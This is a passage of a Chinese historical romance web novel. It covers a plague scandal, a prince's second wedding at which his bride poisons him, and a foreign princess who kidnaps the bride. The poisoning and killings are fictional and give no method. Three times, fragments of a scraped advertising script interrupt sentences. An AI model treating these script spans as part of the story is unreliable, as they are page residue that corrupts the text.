他想做的事,总是做不成。 咬了咬牙,应道:“在下知道了,在下不会再犯了,请转告阁主。” 待这几人走了,他即刻跑去邮驿,写了封信,再将那药方附上…… 只要把这事情闹大,激起民怨沸腾,本地知县就是想压也压不下来了,保不准还要丢了乌纱帽。他们要钱,朝廷还要点脸呢! 只是他自己…… 罢了,罢了。只要她能明白,他是有用的就好。 当夜他便收拾东西、乔装改扮,趁夜色,悄然离城…… 十天以后,这件事被一传十、十传百……民怨沸腾,果如他所料,再十日,万民书便递到了皇上的御桌前。 天子震怒,将当地官员革职,新官即刻赴任,新药方也被用了下去,一时间疫情好转起来,而司云,也在一夕之间声名鹊起。 “那位公子真是个神人,敢和官府对着干!” “咱们治病的方子也是他研制的,他真是我们的大恩人呐!” “就是不知道他现在在哪里,不然我高低得去感谢感谢他……” “那些个狗官还没被革职的时候他应该跑了,怕被人害呗。” “我听说一个秘密……这件事,好像也和星月阁有关联。” “星月阁?” “那些狗官做的事,沈阁主好像都知道呐……” “这你又是从哪儿听说的?” “这需要明着说……?你岂不知,官商相护?” 沈月处。 “小姐,阁主问您,司公子后面做的事,您是否知情。” “自然不知,但我认同他的做法。” “哪怕会牵涉到星月阁吗?” 沈月转过来看着这位小丫鬟。“静儿,你在阁中有多久了?” “大概……有十来年了吧。奴婢小时候就被买来了,一直服侍阁主,阁主见我老实,才将我派来服侍小姐。” “怪不得。你的想法,自然是和阁主保持一致的。”她点了点头。“可是静儿,有些原则是不能破的。阁主对我有恩,我自然是希望星月阁好,但这不能以牺牲无辜者为代价。” 静儿脸上露出了茫然的神情…… “罢了。事已至此,我自己去向义父领罚。”她绕过她,出去了。 京城的冬天,冷彻入骨。 作为亲王君琰必须在年关回一趟京,但他心里依然牵念着江南的情况。最近的消息他也都听说了,对司云所为起疑的同时,更担心的却是她的处境。事情败露,沈因初必然牵涉期间,若星月阁也受到影响,便会连带着影响到她的。 不过…… 事不凑巧,皇兄四哥正好就此事来问他的看法。 “照臣弟的看法,沈因初其实也别无选择。” 君朝雨抬了抬眉,“怎么说?” “江湖有江湖的规矩,星月阁有星月阁的路数,无论当地父母官是谁,总是本着一个和光同尘的原则,有些事并非不可为,而是不敢为。皇兄试想,若这件事没有闹大,而沈因初一定要和当地官对着干,那星月阁能有好下场么?况且此事,原也不是沈因初的注意,他不过是一明哲保身的老狐狸、滑泥鳅罢了。” 君朝雨重重叹了口气,“理何尝不是这个理,只是这些商人……哎!” “星月阁去年才与朝廷开始合作,江浙一带的许多事还要靠他们去斡旋,皇兄若为此事牵连到沈因初,于朝廷大局无益,垮了星月阁换其他的上来,也未必能比他们做得更好。” “只是朕心里这口气憋得慌呀。动也动不得……可恨,可恨。” “皇兄可对其敲打提点一番。臣弟年后还要去江浙,可以顺带……” “对啊,”君朝雨打断了他,目光忽变得若有所思起来:“你年后还要去江浙……听说你上次娶沈因初的女儿,没娶成?” “婚礼过程中出了点意外,新娘被人掳走,臣弟已答应了沈小姐,要再补她一次婚礼。” “这事儿怎么听起来有点荒唐……”忽目光一凛,“你方才同朕说的话,到底是为了朝廷的大局,还是为了——沈小姐?” 君琰正色道:“私心确实是有,但为了朝廷大局也是真。” “噢……” 君朝雨神色稍缓,点了点头,悠然道:“行。不过九弟,这次你娶沈月不成,是否是说明你们之间并无缘分?以你的名声,朕实在想不出什么人有这个胆子敢来抢你的未嫁娘……京城里的闺秀小姐这么多,要不你再考虑一二?” 他将一本折子往御案上一放,起身了,终于进入主题:“燕国使臣已经进京了。” ……那又如何? 君琰没来由地有了种不祥的预感。 “燕国公主也在其中。”君朝雨道:“就是那位阿尔汉公主,你们小时候见过的,还记得吗?” 君琰直言:“皇兄的意思该不是想让臣弟娶她吧?” “当初朕与你的契约中最重要的一条就是嫁娶之事全凭你自己做主,朕没有忘。但对方毕竟是燕国公主,比沈月身份高多了,不过脾气有些直,心眼还是好的。沈月一个商贾之女,你要娶为正妃竟还不得,或许就是你们之间没缘分。你竟还要下江南再去娶她一次,而不是让她嫁来京城,这样的事儿在大楚皇室里前所未有,你真的不在意自己的面子了?为兄觉得,你是不是要再考虑一下?” “臣弟心意已决,不会再娶旁人。且这次不成,只因为中途出了点意外而已。” 君朝雨大手一挥:“那我们就都顺其自然好了。若那阿尔汉公主当真看上了你,而你能有那个本事甩脱了她且不影响到燕楚关系,皇兄我便一个字也不会多说。” 躲得过初一躲不过初十五…… 两日后,阿尔汉公主在宫道上遇见了他。彼时他与和七王爷君书齐并行。 北燕使团前来议亲,她要在这里选个人嫁,小时候她曾来过这里,那时候皇子们还很多,其中让她印象最深的便是三个,一个阴郁寡言,一个温顺得像软柿子,还有一个脸臭得像烂冰块。 “景王?”阿尔汉一双凤眸直视着他,完全忽略了旁边的七王爷。 呵,这张脸还是臭得跟小时候一模一样,写满了“生人勿近”! “公主。”虽被直接忽略了,君书齐还是恭恭敬敬地和她打招呼。 阿尔汉看也没看他一眼,全程只盯着君琰,抬手指他——“我要你说我漂亮!” 君琰:? “本王还有事先行失陪,就由七哥陪公主逛逛吧。” 抬步就走。 “喂!”阿尔汉手中直接一道金鞭抽在地上,扬起一阵尘,“景王,你好生无礼!” “公主息怒,九弟就是这个脾气……” “让他夸我一句怎么了?!”阿尔汉追上两步,“难道我长得很丑吗?” “九弟一向不喜与人交谈……” “可恶!”阿尔汉公主气鼓鼓地跑走了。 看公主这样子,九弟怕是要有大麻烦了……君书齐不由替他捏了把冷汗。听说他现在心心念念想娶星月阁少阁主沈月,此次新年回京,本也是出于亲王的规矩,估计心还在江浙那里。可如果阿尔汉公主偏偏就看中他了,要是拒绝岂不又伤了两国和气? 三天后便是元宵夜宴,顺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 带宴请北燕使团,诸亲王皆要到场,而那位阿尔汉公主,自晚宴开始便一直目不转睛地盯着君琰…… 越看,越觉这男子眉清目秀。不,何止是眉清目秀…… 剑眉星目,神色冷淡,落落寡合,亦自有一股杀伐决断的气场。 北燕那么多男儿,英武之气有余,霸道与煞气却不足,可她阿尔汉偏生就喜欢雄鹰般的男人,最好还是,能为她折翅、被她驯服的雄鹰。 考虑到北燕民风粗豪,本次夜宴除了舞蹈还加入了剑舞,让武士也参与其中,北燕使臣全程看得兴致勃勃,不觉都聊上了天儿,时间一分一秒地过去,不知是谁率先提到了联姻之事…… 早有眼尖的人发现阿尔汉公主全程都在看景王。那目光中的意味,已经不言自明…… “小妹自小被捧在手心里长大,眼光甚高,她的心思,我这个做哥哥的也没法揣测。”燕国皇子目光看向了自己的皇妹。 这下,所有人都发现阿尔汉公主在看景王了,所有人也都把目光转向了景王…… 君琰犀利又带着寒芒的目光扫射过来。 众人又一下子把目光都缩了回去。 阿尔汉脸上似晕了两方胭脂,轻轻起身道:“今儿玩得很高兴,多谢陛下款待,本公主喝得有些醉了,希望能让景王殿下送我回去。” …… 这话中意味,不言自明了。 “公主自己没长腿吗?”景王却从来不是个讲客气的主儿,当下便毫不留情地怼了回去。 “你……!”她被他的话刺到了心口,红了脸,恼着道:“你这个人,知不知道待客之道……” “待客之道是一回事,借公事干别的是另一回事。皇兄,本王还有些事,先行告退。” “……站住!”君朝雨这时候也不得不出言阻止了:“无非是送公主回去,又不会怎么样,九弟,你也别太不给使臣面子了。” 燕国皇子笑了起来,“不过是送小妹回去,景王这个态度,不知道的还以为舍妹是狐狸变的,让楚国的皇子都害怕了呢。” 月亮弯弯。 君琰满不乐意地和这个公主二人并行,中间似乎隔了一道清水河那么宽的距离。 阿尔汉忽然停了下来,见他如此不爱搭理自己,忽然一阵委屈,从袖中亮出了小刀…… “啪!”还没等她出手,小刀就被他打落在了地上,手腕一阵生疼!“你干什么!?” “是公主要干什么?” “……你!”她捡起地上的小弯刀,凶狠地向他脖子上抹去。 君琰却以迅雷不及掩耳之势夹住了弯刀,那刀片在他指尖一转,放到了她眼面前,“啪”地一声,竟被生生震碎,变成了一堆废铁屑! “你竟然毁了我的刀!”那是她最喜爱的一把小宝刀! 他眼中罩着杀气,“惹恼了本王,即便公主,也照杀不误。” 阿尔汉咬着牙,“你方才那一下,我手腕被你打得脱臼了!” “这是教训。” “你、你不能这样!”她倔强地堵住了他的去路,递台阶道:“你将我抱回去,这件事就算了。” “做梦。” 阿尔汉呆呆地站在原地…… 从小长到大,仿佛十几年的委屈都在今天一天受完了。他竟然敢打掉她的刀,还敢这样和她说话,就连长姐也不曾这样对她!呆愣了好一会儿,她的俏脸上显出了怒气,又联想到自己之前听说的一些关于他的事情…… 他不就是,心里还惦念着那个亡妻?! 听说还在府里给她立了坟…… 还在江浙要娶一个叫沈月的,听说是因为长得像他那个亡妻。 难道自己堂堂燕国公主,竟还比不过一个死去的平民吗? 他若对她低眉顺眼,她反而觉得没什么意思。脾气这么炸、目中无人又如此英俊的,她还是第一回见。 君琰,你竟敢这么对我,从小到大都没人敢这样对我!既然你不仁,那也休怪我不义,我要让你失去所有对亡妻的念想! 39. 二嫁 “公主之令……让人潜入景王府,毁了他亡妻的坟,然后再散播消息,说江南的沈月已经死了……” “……” 天色晦暗不明,一如燕国皇子此刻的脸色。 “什么时候的事?” “三天前。” 燕国皇子神色一变,“已经干了吗?!” “好像是……” 君琰心里一直挂念着江南,回来后又忙着应酬,这一天才刚想起,再去看看以前给夭夭立的那块墓。 既然人还活着,墓也就没有存在的必要了,他想着一阵欢喜。 离开许久,庭中杏树,已亭亭如盖矣。 他向那座旧坟走去…… 景王府中人从未有过这样害怕的时候。 公子一怒,不说血流漂杵,至少也是人神皆畏。 ——夭夭的坟被人毁了。 虽然他原本也是打算来拆这座坟的。 很快又传来了沈月在江南病故的消息。 “公子,这消息是假的!沈小姐并无事。属下已经查清楚了,是阿尔汉公主所为……” “找死。”他闭上眼,捏碎了手里的茶杯。 府里被排查了一遍,揪出细作,便砍了首级送去阿尔汉公主的住处。 “……岂有此理!”她看着两颗血淋淋的人头直从座位上跳了起来。 “皇妹,你这次做得太过分了。找个适当的时候,我带你去向景王道歉。” “我还要向他道歉?!” “若非看在两国面子上,你怕是早就死了不止百回!九爷是什么人,你竟敢和他对着干?马上收拾一下,我带你去。” 两人到的时候,君琰却已经不在府上了,偌大的一座王府空荡荡的。 年节刚过完,他一大早就递了折子告辞,随后马不停蹄地赶赴江浙去了。 阿尔汉公主气炸了! “皇兄,这个君琰我要定了,他去哪里,我就跟着去哪里!至于跟楚国和亲的公主,你们再另选一个吧!” 燕国皇子一怔,“你……” 她抽出一把弯刀,“唰”地架在了脖子上,“你不答应,我就死你面前,现在!” 史上最离谱的事情发生了——原本来与楚国和亲的燕国公主,遭到景王的拒绝后,一路追着他跑去了江浙…… 疫病看上去已经过去了,江南逐渐入春,而之前处在事件中心一时名声大噪的司云,也因此得了个一官半职,在江浙做起了知县。除此之外,江浙所有官员也全部换了。这是意料之外的收获,司云心里十分高兴,没想到通过这种途径有了官做,如此,是否更能与夭夭妹妹相配了呢? 但他的高兴并没有持续太久,只过了半个月便得到消息——景王回来了。 他要重新娶她。 沈月在阁中被关了整整一个月…… 沈因初的这点责罚,在她看来算不得什么。听闻那个方子有了大用,她觉得很高兴。 “小姐,婚期还是在下月初八。”静儿给她送吃食进来,“景王殿下从京城赶回来了。” 君琰这一回好好吸取了上次的教训,除却各种环节都盯死了不得马虎,亦在每个角落都安插了自己人。一场疫病过后,整座城都显得恹恹的,失却了往日的活力,但景王大婚,依旧是百姓们爱看的热闹。 下月初八,已是春天。 阿尔汉公主刚刚追到江浙,便听闻他要二娶沈月的消息。 宾客还是上次那些宾客,司仪也还是上次的司仪,一派热热闹闹的,他一路都死死牵着她的手,没再与宾客们喝酒,而是直接和她一起进了洞房。 “娘子。”他轻柔唤了一声,挑起了她的红盖头。 红盖头下是一双熟悉又困倦的眼睛,他在看到她的这一刻,心肠一热。 这回真是夭夭了。 如假包换的夭夭。 这一回她终于没有跑。 他也终于,娶到她了。 眼前的这幅场景,亦曾多次出现在她的想象里。张美珠还没进王府的时候,这便是她想得最多、也最不好意思说的画面。她曾多次地幻想自己在那天会穿着什么样的嫁衣,君琰穿上大红新郎官的衣服又会是什么样子,喜房里两人饮合卺酒,终身所约、永结为好,该会是一件多么幸福的事…… 然而当此情此景终于出现在眼前时,人却早已不是旧时的人,亦不复旧时心境了。 外边喜乐声歇,月光照射进来,落在大红的盖头上,今夜她的眼里藏着十分秾丽的情愫,整个人丽如牡丹,美丽华贵非常。 “九公子还真是执着呢……上回婚事生变,便有许多人说,是你我之间并无缘分,才致这样的意外。”新嫁娘笑靥如花,语气柔柔的,说着冰凉又带着讽意的话。 “该改口叫‘夫君’了。”他似并未被她的话打击到,耐心着言:“‘九公子’——我的那些江湖仇家,也这么叫我。” “哦。”她似无所谓地一笑,轻敲了敲桌。“来走议程吧,该喝合卺酒了。喝完了,我们便是夫妻。” “……”他的眼中忽然掠过了一瞬的惊骇。 “瞧你那样儿,”她恍若未觉,莞尔,整个人通身依然是沈小姐的气场,“我不过打趣几句,你便灰心了?” 如今他的一悲一喜皆为她所控,会因她方才说的“议程”二字被刺痛,也会因她随之而来的宽慰而欣喜,虽然分不清她话里话外的真假,但是此刻心头只有一个信念,那就是——要娶她,好好待她。 他坐到她的对面,没再多说什么,拿起了一个瓢。 两只手交缠绕过,她手里的瓢递到了他嘴边。 君琰将她手中的酒一饮而尽,随后目光灼灼地看着她…… 她跟着也喝了。 二人对视,她能感受到他小心翼翼的呼吸,有一搭没一搭地拂过她的下唇……那双渴盼的眼睛湿漉漉地看着她,好像充满了千言万语,一时不能说出。她头一回离她这样近——这样近地看清楚他眼底那些潜藏着不能说的东西。 忽然—— 他的唇惨白了起来,手也随之重重跌下,连着手里的瓢也掉落在了地上,剧烈地咳嗽了起来。很快,血滴落在了大红的喜服上,和喜服的红色融为一体…… 她见状起身,没有再去看他。 他那双从来幽深冷彻的眼中,逐渐浮起了薄薄的泪…… 她心中忽有一瞬的明悟,自己的做法没有错! 负她之情、杀亲之仇,不共戴天,只要他敢——他敢娶她一次,她就敢算计他一次! 心口却是堵得厉害,她没有去看他那双失落又绝望的眼睛,硬是扭过了头。 “夭夭——” 一声极轻的呼唤却如一颗碎石打破宁静的水面,君琰的脸上已经褪去了血色,他跌在地上,慢慢地向她伸出了一只手…… 这声久违的呼唤,终究还是在他神志清醒的时候出现了。 无论是出自真心还是假意,又无论是顾虑重重还是孤注一掷,印象中,这是那位高高在上的景王第一次放下身段,用那种近似哀求的语气来挽留她……不是只有梦中呓语般的呼唤,不再借助其他理由的遮掩,而是真的在她面前伸出了手…… 她默默站在原地,许久后,才终于回了头——“你不会死的,这药吃了死不了人。” 他深深看着她,眼眸里极是痛苦,嘴唇颤动,似乎还想说些什么,却一时难以成言…… 夭夭啊夭夭…… 你还是和从前一样单纯。 像我这种江湖人,又怎么会不认得黑市里那些毒药?你的一应小动作,又岂能逃过我的眼睛? 可,你刚才也说了,喝了这合卺酒,我们便是夫妻…… 既是你亲手递来的毒酒,我甘心饮鸩。 “我叫沈月。”她的声音极是冷彻,“不是你的亡妻洛夭夭。” “……无妨。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”他终于发出了声音来。她不承认就不承认吧,总之他知道她是谁就够了。“喝了合卺酒便是夫妻,这话可是你说的…… 至死,都是。” 目光有一瞬触碰到他此刻雾蒙蒙的眼睛…… 她好像还是第一次看见他这样落泪。 对视的一秒,仿佛自己又被拉近了一眼深潭里,挣脱不得…… 她蹲了下来—— 却没有去扶他。 他的身体距离她不过尺寸之遥,周身辐射出的温度却热得她两颊发烫,再加上这厚重的喜服推波助澜…… “轰”地一声,她将喜服外衣脱了下来了,重重扔在地上。 仿佛上一回他认出她时忽然病倒,额上的温度也是这般滚烫。后来她去看望他的时候,俯在他耳边呢喃应声,也曾感受过这番灼人…… 可是曾经,她被张王妃拖进暴室的时候,他又可曾置喙过一句? “夭夭……”他忍着剧痛慢慢从地上爬起,趁她还未走开之时,绝望又执拗地攥住了她的手腕。 她一皱眉,“放开!” 君琰盯着她,目光灼灼似能将她身上凿出两个洞来。即便是从前受伤时,即便是现在中了毒,他的力量与功夫,依旧不是她可以抗拒得了的。 “如果我真的死了,你从密道出去……”这样,在人们看来新娘便是和上回一样失踪了,他有个什么闪失,她不会是嫌疑人。杀害亲王的罪名太大了,她担不起,哪怕她现在已经对自己的性命无所顾忌,他也不能不替她顾及。 他一手抓着她的手,用力地说着,另一只手中丢下一把密道钥匙在她掌心。 洛夭夭却没有去接。钥匙掉在脚边,清脆地一声响。 她的目光里透着倨傲,“我既做得出来,就敢担责。你的施舍,我不需要。我说过,你不会死的,那并不是什么致命的毒药,只是会折磨你,并且搅黄了婚事。我还未过门,也没上你家的族谱,单是喝了合卺酒,谁知道?只有天知道!” “你……”他闻言有些震动,目光里闪出了难以言喻的悲切,似是在为她的出言反悔而绝望。 “你要说我反悔?呵,同你相比,我的本事还不及十中之一呢。”趁他惶神,她用力甩开了他的手,下一瞬嫣然笑着,忽地欺身近了——一手从身后环住了他的腰。 他后背已经湿淋淋的,浑身大汗淋漓……目光一闪,似乎不可置信地觉察到了她的意图…… 她吸了吸鼻子,似是在吸吮他身上的热度,随后,不给他半分喘息之机,樱唇轻轻从他脸边划过——却没有触碰到。 君琰心中霎时如烈火焚烧一片—— 她在有意耍弄他! 有意撩拨,又欺他中毒,不能还手。 吃力地抬手,他推开了她近在咫尺的唇。 沈月笑着的眼中掠过一抹凉意,语气幽幽:“你这是要拒绝我吗?” 然而他的推拒并没有什么决心,半推半就的…… 她恍然一笑,漾着野桃花般的妖冶,一瞬竟艳色倾城。抬手,给他擦了擦唇角的血,似是也玩腻了,轻声道——“今天的游戏,就到此为止。” 随着她的起身离去,他身上又是一阵绞痛……随即“哗啦”一阵,地上吐满了血…… 他的身子又软了下去,情动得厉害,亦绝望得厉害,两相交织,如冰火焚身! “夭夭,我们……” 身上太热了,心却太冷了,他仿佛一个溺水的人,颤栗、呜咽,绝望地伸出手却没有抓到那根救命稻草,被无情地抛弃在了深渊水底。 她头也不回地离去了。满目大红的喜色,仿佛都变成了无情的嘲弄…… 从他开始对自己后悔的那一刻起,他就注定不再是从前那个坚不可摧的九公子了。 一双手翻来覆去地,整理了一下胸前的衣衫,她的唇角扬起了一抹笑意。 君琰,我终于—— 把你给毁了。 40. 疑云 比起沈月的绝然,君琰要惨得多了。 他原是不沾女色的人,那夜忽受了心上人几下撩拨,身子再不能如从前那样安分,又中着毒,便来来回回地持续折腾……用内力逼毒、寻找解药、卧床静养,仿佛又回到了上次的轮回,迷迷蒙蒙中他眼前全是她穿着大红嫁衣的身影,蹲在他面前,笑意渗人。 夭夭还是不肯原谅他。 是他太心急了,想来有许多事还没和她解释清楚,他原想的是婚后再慢慢与她说的,现在看来这样不行。 “无殇。”他拉了拉床边的铃,“洛氏夫妇何时能醒?” 上回奉旨屠山,抗旨则会全员皆死,他便命手下给所有人喂下断魂珠推下山崖,再提前派了人在山崖下接应…… 他始终知道那里是云青山,是于她而言很重要的地方。可是,断魂珠的解药只有两颗,他救不了所有人。 解药服下以后,基本得两年才能醒来。 先把这个误会和她说清了罢。 若见不到洛氏夫妇,即便他口头与她解释当年的实情,她怕是也不会信。 “两年时间还没到呢,公子您……” “那就先接过来吧。”他破了原计划,“接过来。” “公子是要告诉她这件事情?”无殇叹了口气,“也是,这应该是她对您最重要的一个误会了,属下即刻去办。” 三日后。 “公子,不好了!” 无殇讶然又慌乱的神色,顿时让他心生不祥之感……“怎么了?” “洛氏夫妇不见了。” “?!” 这对夫妻一直在那儿,被看护得好好的,且还未醒转过来,为何会忽然消失?!他气得不行,即刻派人去寻…… 天色微阴,凤仙楼上,从三楼雅间里传来两人的说话声…… “怎样,人可是对的吧?” “是对的,多谢……” “可别忙着谢我。你该知道——一切事情都有条件。” “什么条件,你只管开,只要是我做得到的。” “这个条件以后再告知你,现在需要你去做一件小事。”那女声柔柔的,却透着一股隐隐的威势:“去他们身上取两管血来。” 空气陡然一下凝滞了! “这不可以!”男子很是意外,也有些气恼,“我不能做伤害他们的事情。” “取一点血而已,不会怎么样,更不会影响到他们醒转的时间。你若连这点小事都不肯做,后面的条件便是更负担不起了。你要毁约我也可以奉陪,不过此事若传至九公子耳中,只怕你不是一刀好死了那么简单。 男子沉默了…… 许久后他问:“为什么要他们的血?” “这与你无干。你只需按我说得去做,即可。”女子款款起身,修长的丽影隐入了淡黄色的纱帘背后,一瞬间消失不见了。 冷峭春风吹开了纱幔…… 轻纱扬起,现出一张有些苦涩亦有些为难的脸——正是司云。 春花开谢,秋草荣枯,年年如此,只是今年的春来得格外早,走得也格外快。 他悄悄出了酒楼,沿着小道走过。杳无人迹的地方,兀自开满了春花。山桃妖娆,海棠柔媚,樱花韶秀,杏花娇怯……曾几何时,夭夭妹妹也是娇妾的。而今,却变成了长满刺的玫瑰。 他原以为自己有了个一官半职之后,能与她的关系更进一步,却不想景王当真是那样执着地纠缠着,竟在年后马不停蹄地赶了回来,二次娶她…… 然事实自然是不如景王预想的顺利,那么他下一步会采取什么样的做法? 一次天赐的机会,他打探到了景王的隐秘——洛伯父和洛伯母并没有死,而是被他保护了起来。 夭夭妹妹如今对他正恨着,自己不能眼睁睁看着她心境转变……若她又和他在一起了,自己这么久以来的努力又算什么? 事不凑巧,当夜便有一神秘人登门,给他递了一份东西。 对方好像对他甚是了解,知他所求、懂他所苦,却不告知自己的身份,他直觉对方来头很大。毕竟能有实力从九公子那里把人搞出来的,必定不会是等闲之辈。且经验告诉他,这样的人往往是危险的,他们不会与谁做亏本的买卖,但自己一不留神就会被对方带进沟里。 然而他却答应了,因为他们给出的东西,他实在是太想要…… 从今往后,洛伯父与洛伯母,便都是在他的手里攥着了。 九公子,你这一辈子,都休想与夭夭解开心结。 这些年他对她执念已深,云青山上的一切,都在时间的流逝中慢慢地淡了,只有她在他的心里愈发地鲜明动人。君琰杀了多少人,不重要了,重要的是,夭夭妹妹对他的看法。 看法是可以变的。既然她可以从前那样爱他,后来又那样恨他,又为什么不可以对自己从不爱到爱? 黑暗里他露出了一个笑,一个此前从未有过的、诡异的笑容。 溪水潺湲,春雨打过青石板路,绽开细小的水花。 “最近江浙是不是来了什么人?”君琰直觉如此,随口问身边的陆云。 “公子指的是什么人?” 他深吸了口气。“从清水河边的惨案,到突发的疫病,再到洛氏夫妇消失,我总觉得这其中有某种联系。” “能绕过我们的耳目下手的,确实不是等闲之辈。且这几件事都发生在江浙,单拎出来看好像没什么联系,合在一起看却透着股诡异。清水河命案发生后尸骸太多来不及全部掩埋,导致尸骸滋生病虫……疫病之源我们最近排查了几处可疑的地方,初步可以断定这次疫病不是天灾,而是人为。” “是人为,你们却查不到……到底是谁?” “之前的清水河踩踏案,据我们抓到的人供认,幕后指使者是次辅叶莹之子叶秉心,皇上顾及叶次辅之面,并未把事情全翻到明面上来,只是处死了那个小喽啰并将叶秉心降职,便没有再查下去。属下直觉,要找到这条幕后大鱼,还得问叶氏父子。” 君琰踱了几步—— “直接问是问不出来的。他们既然敢这样做,必然也做好了应对一切的准备。想要让他说,除非不说会威胁到他阖府身家……”说至此阖了阖眸,似是有些疲倦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,“这件事,一时半刻难以办到,我如今处境艰难,亦有些力不从心了。” “公子,您不必劳神,我们去办……” “不。”君琰却拒绝了,“时候未到,且再看看,这条幕后大鱼还要再翻出什么浪来。还有——” 他顿了顿,“准备聘礼,本王要三娶沈月。” 陆云:?! “公子你疯了?” …… “公子,请恕属下无礼,属下这就去领罚。” 夭夭…… 我就不信不能把你的心重新捂热,本王死缠烂打…… …… 咳咳,“死缠烂打”这个词怎么能用在本王身上? …… 罢了,罢了。 “又报了仇了?可他还没死啊。”沈因初悠闲地擦着一柄剑。 “见过义父。”沈月乖巧行了个礼。 对于她个人的私事,义父总是很理解,只是一涉及到星月阁中未知的隐秘,或者一些不成文但她不赞同的规定,就会变得十分严厉。 上次的事情算是过去了,沈因初也算是气消了,这下倒又调侃起她来了。 “一下子死了不是太便宜他了,几百条人命,哪能一刀好死。”她静静地说着,“多谢义父体恤,允我报仇。” “你这个孩子……”沈因初把擦好的剑放进剑鞘里,“若是他贼心不死,还要第三次娶你,你待如何?” 沈月抬起眼睛,“义父,我不怕。” 沈因初懂了。“你还是要小心些。九公子这个人脾气差得很,你若真将他惹急了……” “我不怕。”她仍是说道,眼波里自有一种平静——“惹急了,我便与他同归于尽。” 消息传得很快…… 任谁也没想到,九公子娶沈小姐的事儿,竟又出了意外。 君琰被下毒的事情被封锁了,除了他和几个属下以外,没有人知道,于是便没人知道这第二次大婚被搅的真正原因了,一时间百姓们议论纷纷…… 说什么的都有。 阿尔汉公主气坏了。 “沈月是个什么东西?!一个商贾的女儿罢了,她敢这样?!” “公主,别生气,这也不关您的事啊……”一旁的侍女企图劝架。 “我呸!”她拿起一个杯子砸在地上,溅起的碎瓷片扎进了小侍女的肉里,对方却疼得不敢吱声。 “怎么和本公主无关了,你难道不知我到这里来是为了什么?景王就像天上的雄鹰一样,本公主就是要将雄鹰翅膀折下来,让他在我面前低头臣服!他既然都可以娶那个沈月两次,又为何不能臣服于本公主?!我就是看上他了,看上他了!” 小侍女吓得不敢说话…… “来人,来人!”阿尔汉一阵风跑到屋外。 很快就来了几名暗卫,一个个人高马大又低眉顺眼的,在她面前乖乖站成了一排,“公主有何吩咐?” “你们几个,都查消息去,搞清楚那个沈月最近的行踪,本公主要亲自去会会她是哪方神圣!不让君琰在我面前低下他高贵的头,本公主绝不回燕!” 41. 救美 将星月阁少阁主绑架是不容易的。 但对方是燕国公主阿尔汉,此事就变得容易了…… 沈月睁开眼的时候正在一间小黑屋里,她记得自己之前是去佛寺上香了,一醒来却在这个陌生的地方,咳了两声,过了一会儿,有人来了…… “公主,就是她!”刺目的烛光朝她照来。 微眯着眼睛,看见一打扮华贵的女子,浓眉大眼,目光审视,浑身上下都透着骄矜之气。 对方朝她走近了,伸手挑起她的下巴,仔仔细细地端详,似要将她吃进肚里,“长得还可以,但跟我比还是差远了!” “你们是何人?”沈月清了清嗓子,开口:“抓我来干什么?” 阿尔汉扬起下巴,“我是何人,你还不配问!” “那你至少应该知道,我是何人。在江浙的地盘上,敢动我,你的身份必也不一般。”沈月不避对方灼灼逼人的目光,也直视回去,思量着道:“你看起来不像我们中原人,穿衣打扮又十分讲究,是燕国的贵人吧?听说最近燕国使团进京了,随行的阿尔汉公主却和景王闹了不快,一路追到江南来——你,想必就是阿尔汉公主?你绑架我,是因为景王?” 未料对方几句话就猜出了她的身份,阿尔汉冷笑一声:“脑子还不错嘛。不过,你认出来了又如何?你给本公主在这里好好待着!” 默了默,又看向她:“你既心里不想嫁给景王,又为何答应嫁给他?九爷也是你开罪得起的人吗?” “这与你无关。” “你就不怕惹恼了他,他杀了你?!你难道真的不喜欢他?既然不喜欢,又为什么吊着他?”阿尔汉一口气问出了心里的许多疑问,却见对方始终是一副恹恹的神情,对她爱搭不理且无所畏惧,心头不由窜起一股无名火来。 “无可奉告。” “竟敢不答本公主的问题!你再不说话,我现在便让人杀了你,等沈因初和君琰来为你收尸!” “你大可试试。”沈月平静的目光里含着挑衅,淡然如水地看着她:“需要被收尸的,一定不止我一个。” “……你!”阿尔汉气得牙痒痒,一时竟不知该说什么了。 沈月忽柔柔一笑,“我若说我喜欢他,你待如何?” 阿尔汉闻言登时变了脸色,“要真是这样,我现在就杀了你!本公主看上的男人,由不得别人来抢!” “哦。” “呵,你知不知道……”这位骄矜的北燕公主踱起步子来,语气里颇为得意:“景王喜欢你,不过是因为你长得像他的亡妻呀!以为自己是他的真爱?你不过是一个替身而已!” 沈月:“哦。” 对方竟一点情绪反应也没有,这让阿尔汉更加疑惑了,劈头盖脸道:“你喜欢他,但他只是拿你当替身,你为什么不生气,不发疯!?” 沈月没再理她,闭上眼,竟当她面开始睡觉了…… 阿尔汉气得跑到外面,挥着刀将树木杂草一通乱砍,把庭院中的花木全毁尽了,又跑进来:“你!” 她踹了她一脚,“你给我起来,起来!不准睡!” 沈月:“……” 阿尔汉扬起了鞭子——“今天就抽你!” “唰”地一下,沈月闭上了眼睛,眼见那鞭子就要下来,预感中的疼痛却没有来到,阿尔汉的金鞭忽在半空被人截住—— “君琰!?” 她瞪大眼睛,谁知对方内力一震,金鞭直接化成了一堆齑粉…… “你,你!”她气红了脸,“上回你毁了我的小刀,这回又毁了我的鞭子!你赔!” 他却没有理她,看向了被绑着的沈月,匆匆上前给她解开绳索…… “君琰!”见对方还是这般无视她,阿尔汉更气了:“我一路追着你来江浙,你都不问一声,只有绑了她你才肯来见我吗?!” 他却当着她的面,捧起了沈月那双被绳索勒得通红的小手,温暖的大手覆在外面,慢慢放至胸前,“没事了。” “你恢复得挺快啊。”沈月任他握着手,目光始终淡淡。 其实他并未完全恢复。 只是听闻她被绑了,心急火燎地说什么也要赶来。 “君琰!”阿尔汉提高了音调:“听说她大婚之夜给你下毒,你竟还这般护着她!?你也太……太不知好歹了吧?!” 君琰扶着沈月慢慢站起来,一手牵着她的手,沈月站在他身后一点的地方,二人同时面对阿尔汉公主。 “这样看着我做什么?!”阿尔汉迎上他那叫人胆寒的目光,“我绑了沈月,不过是想让你来找我罢了!我一路追来这里,你都不……” 君琰打断了:“请你将方才对沈月做的事,对自己做一遍。” “你……什么?!”阿尔汉嚷嚷起来:“你知不知道自己在说什么?!” “将自己绑起来,在这黑屋待上两个时辰,期间不许人来送吃食和水,这件事本王就算了。” 阿尔汉怔了怔,一瞬间,忽然觉得自己有点像个小丑…… 